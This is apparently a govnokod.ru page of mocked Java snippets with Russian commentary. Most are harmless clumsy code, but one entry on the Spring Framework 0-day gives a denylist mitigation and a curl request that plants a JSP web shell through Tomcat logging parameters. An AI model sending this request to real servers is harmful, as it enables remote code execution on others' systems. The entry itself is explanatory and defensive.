- 1
public static final String EMPTY = "";
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
0
public static final String EMPTY = "";
Tan seme? Tan seme?!!
+1
public class Spot {
private Piece piece;
private int x;
private int y;
public Spot(int x, int y, Piece piece)
{
this.setPiece(piece);
this.setX(x);
this.setY(y);
}
public Piece getPiece() // метод возвращает объект фигуру
{
return this.piece;
}
public void setPiece(Piece p)
{
this.piece = p;
}
public int getX()
{
return this.x;
}
public void setX(int x)
{
this.x = x;
}
public int getY()
{
return this.y;
}
public void setY(int y)
{
this.y = y;
}
}
Дизайн шахматной игры
Эти виды вопросов задаются на интервью, чтобы судить о навыке объектно ориентированного дизайна кандидата. Итак, прежде всего, мы должны подумать о классах.
https://habr.com/ru/post/660003/
+1
import org.springframework.core.Ordered;
import org.springframework.core.annotation.Order;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.InitBinder;
@ControllerAdvice
@Order(10000)
public class BinderControllerAdvice {
@InitBinder
public void setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.", "Class.", ".class.", ".Class."};
dataBinder.setDisallowedFields(denylist);
}
}
Критическая 0-day уязвимость в Spring Framework, применяемом во многих Java-проектах
Работа эксплоита сводится к отправке запроса с параметрами "class.module.classLoader.resources.cont ext.parent.pipeline.first.*", обработка которых при использовании "WebappClassLoaderBase" приводит к обращению к классу AccessLogValve. Указанный класс позволяет настроить логгер для создания произвольного jsp-файла в корневом окружении Apache Tomcat и записи в этот файл указанного атакующим кода. Созданный файл становится доступным для прямых запросов и может использоваться в качестве web shell. Для атаки на уязвимое приложение в окружении Apache Tomcat достаточно отправить запрос с определёнными параметрами при помощи утилиты curl.
curl -v -d "class.module.classLoader.resources.context.parent.pipeline
.first.pattern=код_для_вставки_в_файл
&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1-SNAPSHOT/rapid7
0
boolean isEven(int number) {
while (number > 2) {
number = number - 2;
}
if (number == 2) {
return true;
} else {
return false;
}
}
+1
public class ExampleW{
public static void main(){
Scanner input = new Scanner(System.in);
System.out.println("Give mark: ");
int mark = input.nextInt();
String Grade;
switch (mark){
case 100:
case 99:
case 98:
case 97:
case 96:
case 95:
case 94:
case 93:
case 92:
case 91:
case 90:{
Grade = "A+";
break;
}case 89:
case 88:
case 87:
case 86:
case 85:
case 84:
case 83:
case 82:
case 81:
case 80: {
Grade = "A";
break;
}case 75:
case 76:
case 77:
case 78:
case 79:{
Grade = "A-";
break;
}case 70:
case 71:
case 72:
case 73:
case 74:{
Grade ="B+";
break;
} case 69:
case 68:
case 67:
case 66:
case 65:{
Grade ="B";
break;
}
case 64:
case 63:
case 62:
case 61:
case 60:{
Grade = "C+";
break;
}case 50:
case 51:
case 52:
case 53:
case 54:
case 55:
case 56:
case 57:
case 58:
case 59: {
Grade = "C";
break;
}case 45:
case 46:
case 47:
case 48:
case 49:{
Grade = "D";
break;
}case 40:
case 41:
case 42:
case 43:
case 44:{
Grade = "E";
break;
}case 0:
case 1:
case 2:
case 3:
...
...
}default: {
Grade = "null";
break;
}}
}
−2
import java.util.Scanner;
public class JavaApplication5 {
public static void main(String[] args) {
Scanner sw = new Scanner(System.in);
System.out.print("Введите число: ");
int week = sw.nextInt();
System.out.println("The day is "+day);
}
class Month{
String day;
switch (int week) {
case 1:
day = "Monday";
break;
case 2:
day = "Tuesday";
break;
case 3:
day = "Wednesday";
break;
// match the value of week
case 4:
day = "Thursday";
break;
case 5:
day = "Friday";
break;
case 6:
day = "Saturday";
break;
case 7:
day = "Sunday";
break;
default:
day = "---";
break;
}
}
}
Нужно чтобы от пользователя запрашивался номер дня недели, а получалось название. Не пойму, что не так. Помогите, пожалуйста, Добрые Люди
+1
import java.text.SimpleDateFormat;
import java.util.Date;
public class Main {
public static void main(String[] args) {
System.out.println(new SimpleDateFormat("yyyy-MM-dd").format(new Date(2022 - 1900, 0, 1, 20, 30)));
System.out.println(new SimpleDateFormat("YYYY-MM-dd").format(new Date(2022 - 1900, 0, 1, 20, 30)));
}
}
А что там у Jawa-блядей за отсос должен был случиться 1 января? Я что-то не могу воспроизвести:
https://www.programmersought.com/article/47096700076/
−1
randomNumeric(2) + "." + randomNumeric(2)
+2
- null, null, null, null, null, null, null, null, null, null, null, null, null, null))
+ null, null, null, null, null, null, null, null, null, null, null, null, null, null, null))
Это реальный коммит с работы
(не мой, я к jawa не притрагиваюсь)
0
import java.util.Arrays;
import java.util.Optional;
public class AntiVirus{
private int scanIntensity = 0;
//this method is ready for you.
public void setScanIntensity(int level){
scanIntensity = level;
}
//write this method.
public String scanFile(File file,VirusDB database){
String[] signature = database.getSignatures(scanIntensity);
String fileData = file.getData().toLowerCase();
Optional<String> res = Arrays.stream(signature)
.map(s -> s.toLowerCase())
.filter(fileData::contains).findAny();
String scan = " is safe";
if(res.isPresent()) {
System.out.println(res.get());
System.out.println("scan: " + scan);
scan = " is not safe";
System.out.println("scan after: " + scan);
}
return file.getName() + scan;
}
}
Не понимаю, почему не работает.
Задача
https://www.codewars.com/kata/5b13027eedd62c5216000001
Test Results:
AVTest
checkRandomFiles
Log
dos
scan: is safe
scan after: is not safe
dos
scan: is safe
scan after: is not safe
dos
scan: is safe
scan after: is not safe
dos
scan: is safe
scan after: is not safe
dos
scan: is safe
scan after: is not safe
dos
scan: is safe
scan after: is not safe
dos
scan: is safe
scan after: is not safe
dos
scan: is safe
scan after: is not safe
dos
scan: is safe
scan after: is not safe
expected:<f4wpzFoQD is [not ]safe> but was:<f4wpzFoQD is []safe>
Stack Trace
Completed in 476ms
checkSameFilesWithDifferentIntensitySett ings
Log
virus
scan: is safe
scan after: is not safe
expected:<file1 is [not ]safe> but was:<file1 is []safe>
Stack Trace
Completed in 1ms
Completed in 496ms